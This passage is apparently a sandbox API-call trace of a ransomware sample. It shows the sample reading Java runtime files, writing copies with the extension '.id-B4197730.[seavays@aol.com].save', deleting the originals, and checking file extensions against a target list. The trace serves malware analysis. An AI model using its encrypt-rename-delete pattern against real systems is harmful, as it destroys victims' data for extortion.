[0170.805] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.805] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0170.806] GetLastError () returned 0x0 [0170.806] ReadFile (in: hFile=0x544, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x62, lpOverlapped=0x0) returned 1 [0170.807] WriteFile (in: hFile=0x540, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x70, lpOverlapped=0x0) returned 1 [0170.808] ReadFile (in: hFile=0x544, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.808] WriteFile (in: hFile=0x540, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xee, lpOverlapped=0x0) returned 1 [0170.808] SetEndOfFile (hFile=0x540) returned 1 [0170.808] CloseHandle (hObject=0x540) returned 1 [0170.808] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.808] SetEndOfFile (hFile=0x544) returned 1 [0170.813] CloseHandle (hObject=0x544) returned 1 [0170.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0170.813] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 1 [0170.814] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0170.814] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0170.814] lstrlenW (lpString=".doc") returned 4 [0170.814] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0170.814] lstrlenW (lpString=".docx") returned 5 [0170.814] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0170.814] lstrlenW (lpString=".pdf") returned 4 [0170.814] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0170.814] lstrlenW (lpString=".xls") returned 4 [0170.814] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0170.814] lstrlenW (lpString=".xlsx") returned 5 [0170.814] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0170.814] lstrlenW (lpString=".ppt") returned 4 [0170.814] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0170.815] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0170.815] lstrlenW (lpString=".zip") returned 4 [0170.815] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0170.815] lstrlenW (lpString=".rar") returned 4 [0170.815] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0170.815] lstrlenW (lpString=".bz2") returned 4 [0170.815] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0170.815] lstrlenW (lpString=".7z") returned 3 [0170.815] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0170.815] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0170.815] lstrlenW (lpString=".dbf") returned 4 [0170.815] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0170.815] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0170.815] lstrlenW (lpString=".1cd") returned 4 [0170.815] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0170.815] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0170.815] lstrlenW (lpString=".jpg") returned 4 [0170.815] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0170.815] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0170.815] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0170.815] lstrlenW (lpString=".doc") returned 4 [0170.815] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0170.815] lstrlenW (lpString=".docx") returned 5 [0170.815] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0170.815] lstrlenW (lpString=".pdf") returned 4 [0170.815] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0170.815] lstrlenW (lpString=".xls") returned 4 [0170.815] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0170.815] lstrlenW (lpString=".xlsx") returned 5 [0170.816] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0170.816] lstrlenW (lpString=".ppt") returned 4 [0170.816] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0170.816] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0170.816] lstrlenW (lpString=".zip") returned 4 [0170.816] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0170.816] lstrlenW (lpString=".rar") returned 4 [0170.816] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0170.816] lstrlenW (lpString=".bz2") returned 4 [0170.816] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0170.816] lstrlenW (lpString=".7z") returned 3 [0170.816] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0170.816] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0170.816] lstrlenW (lpString=".dbf") returned 4 [0170.816] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0170.816] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0170.816] lstrlenW (lpString=".1cd") returned 4 [0170.816] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0170.816] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0170.816] lstrlenW (lpString=".jpg") returned 4 [0170.816] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0170.816] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0170.816] lstrlenW (lpString="local_policy.jar") returned 16 [0170.816] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0170.817] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=3527) returned 1 [0170.817] CloseHandle (hObject=0x544) returned 1 [0170.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 0x20 [0170.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.818] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0170.818] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.818] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.818] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0170.819] GetLastError () returned 0x0 [0170.819] ReadFile (in: hFile=0x544, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0xdc7, lpOverlapped=0x0) returned 1 [0171.005] WriteFile (in: hFile=0x540, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xdd0, lpOverlapped=0x0) returned 1 [0171.006] ReadFile (in: hFile=0x544, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.006] WriteFile (in: hFile=0x540, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xf4, lpOverlapped=0x0) returned 1 [0171.006] SetEndOfFile (hFile=0x540) returned 1 [0171.006] CloseHandle (hObject=0x540) returned 1 [0171.006] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.006] SetEndOfFile (hFile=0x544) returned 1 [0171.009] CloseHandle (hObject=0x544) returned 1 [0171.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0171.010] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 1 [0171.011] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0171.011] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0171.011] lstrlenW (lpString=".doc") returned 4 [0171.011] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0171.011] lstrlenW (lpString=".docx") returned 5 [0171.011] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0171.011] lstrlenW (lpString=".pdf") returned 4 [0171.011] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0171.011] lstrlenW (lpString=".xls") returned 4 [0171.011] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0171.011] lstrlenW (lpString=".xlsx") returned 5 [0171.011] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0171.011] lstrlenW (lpString=".ppt") returned 4 [0171.011] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0171.011] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0171.011] lstrlenW (lpString=".zip") returned 4 [0171.011] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0171.011] lstrlenW (lpString=".rar") returned 4 [0171.011] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0171.011] lstrlenW (lpString=".bz2") returned 4 [0171.011] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0171.011] lstrlenW (lpString=".7z") returned 3 [0171.011] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0171.011] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0171.012] lstrlenW (lpString=".dbf") returned 4 [0171.012] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0171.012] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0171.012] lstrlenW (lpString=".1cd") returned 4 [0171.012] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0171.012] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0171.012] lstrlenW (lpString=".jpg") returned 4 [0171.012] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0171.012] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0171.012] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0171.012] lstrlenW (lpString=".doc") returned 4 [0171.012] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0171.012] lstrlenW (lpString=".docx") returned 5 [0171.012] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0171.012] lstrlenW (lpString=".pdf") returned 4 [0171.012] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0171.012] lstrlenW (lpString=".xls") returned 4 [0171.012] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0171.012] lstrlenW (lpString=".xlsx") returned 5 [0171.012] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0171.012] lstrlenW (lpString=".ppt") returned 4 [0171.012] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0171.012] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0171.012] lstrlenW (lpString=".zip") returned 4 [0171.012] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0171.012] lstrlenW (lpString=".rar") returned 4 [0171.012] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0171.013] lstrlenW (lpString=".bz2") returned 4 [0171.013] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0171.013] lstrlenW (lpString=".7z") returned 3 [0171.013] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0171.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0171.013] lstrlenW (lpString=".dbf") returned 4 [0171.013] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0171.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0171.013] lstrlenW (lpString=".1cd") returned 4 [0171.013] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0171.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0171.013] lstrlenW (lpString=".jpg") returned 4 [0171.013] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0171.013] lstrcmpiW (lpString1=".0_144\\lib\\tzmappings", lpString2=".save") returned -1 [0171.013] lstrlenW (lpString="tzmappings") returned 10 [0171.013] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0171.014] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=8400) returned 1 [0171.014] CloseHandle (hObject=0x544) returned 1 [0171.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 0x20 [0171.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0171.014] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0171.015] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.015] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.015] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0171.016] GetLastError () returned 0x0 [0171.016] ReadFile (in: hFile=0x544, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x20d0, lpOverlapped=0x0) returned 1 [0171.018] WriteFile (in: hFile=0x540, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x20e0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x20e0, lpOverlapped=0x0) returned 1 [0171.019] ReadFile (in: hFile=0x544, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.019] WriteFile (in: hFile=0x540, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xe8, lpOverlapped=0x0) returned 1 [0171.020] SetEndOfFile (hFile=0x540) returned 1 [0171.020] CloseHandle (hObject=0x540) returned 1 [0171.020] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.020] SetEndOfFile (hFile=0x544) returned 1 [0171.023] CloseHandle (hObject=0x544) returned 1 [0171.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0171.024] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 1 [0171.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0171.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0171.024] lstrlenW (lpString=".doc") returned 4 [0171.024] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1 [0171.024] lstrlenW (lpString=".docx") returned 5 [0171.024] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1 [0171.024] lstrlenW (lpString=".pdf") returned 4 [0171.025] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1 [0171.025] lstrlenW (lpString=".xls") returned 4 [0171.025] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1 [0171.025] lstrlenW (lpString=".xlsx") returned 5 [0171.025] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1 [0171.025] lstrlenW (lpString=".ppt") returned 4 [0171.025] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1 [0171.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0171.025] lstrlenW (lpString=".zip") returned 4 [0171.025] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1 [0171.025] lstrlenW (lpString=".rar") returned 4 [0171.025] lstrcmpiW (lpString1=".rar", lpString2="ings") returned -1 [0171.025] lstrlenW (lpString=".bz2") returned 4 [0171.025] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1 [0171.025] lstrlenW (lpString=".7z") returned 3 [0171.025] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1 [0171.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0171.025] lstrlenW (lpString=".dbf") returned 4 [0171.025] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1 [0171.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0171.025] lstrlenW (lpString=".1cd") returned 4 [0171.025] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1 [0171.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0171.025] lstrlenW (lpString=".jpg") returned 4 [0171.025] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1 [0171.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0171.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0171.025] lstrlenW (lpString=".doc") returned 4 [0171.025] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1 [0171.025] lstrlenW (lpString=".docx") returned 5 [0171.025] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1 [0171.026] lstrlenW (lpString=".pdf") returned 4 [0171.026] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1 [0171.026] lstrlenW (lpString=".xls") returned 4 [0171.026] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1 [0171.026] lstrlenW (lpString=".xlsx") returned 5 [0171.026] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1 [0171.026] lstrlenW (lpString=".ppt") returned 4 [0171.026] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1 [0171.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0171.026] lstrlenW (lpString=".zip") returned 4 [0171.026] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1 [0171.026] lstrlenW (lpString=".rar") returned 4 [0171.026] lstrcmpiW (lpString1=".rar", lpString2="ings") returned -1 [0171.026] lstrlenW (lpString=".bz2") returned 4 [0171.026] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1 [0171.026] lstrlenW (lpString=".7z") returned 3 [0171.026] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1 [0171.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0171.026] lstrlenW (lpString=".dbf") returned 4 [0171.026] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1 [0171.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0171.026] lstrlenW (lpString=".1cd") returned 4 [0171.026] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1 [0171.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0171.026] lstrlenW (lpString=".jpg") returned 4 [0171.026] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1 [0171.026] lstrcmpiW (lpString1=".0_144\\LICENSE", lpString2=".save") returned -1 [0171.026] lstrlenW (lpString="LICENSE") returned 7 [0171.027] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0171.027] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=40) returned 1 [0171.027] CloseHandle (hObject=0x544) returned 1 [0171.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 0x20 [0171.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0171.028] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0171.028] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.029] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.029] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0171.029] GetLastError () returned 0x0 [0171.029] ReadFile (in: hFile=0x544, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x28, lpOverlapped=0x0) returned 1 [0171.030] WriteFile (in: hFile=0x540, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x30, lpOverlapped=0x0) returned 1 [0171.031] ReadFile (in: hFile=0x544, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.031] WriteFile (in: hFile=0x540, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xe2, lpOverlapped=0x0) returned 1 [0171.031] SetEndOfFile (hFile=0x540) returned 1 [0171.031] CloseHandle (hObject=0x540) returned 1 [0171.032] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.032] SetEndOfFile 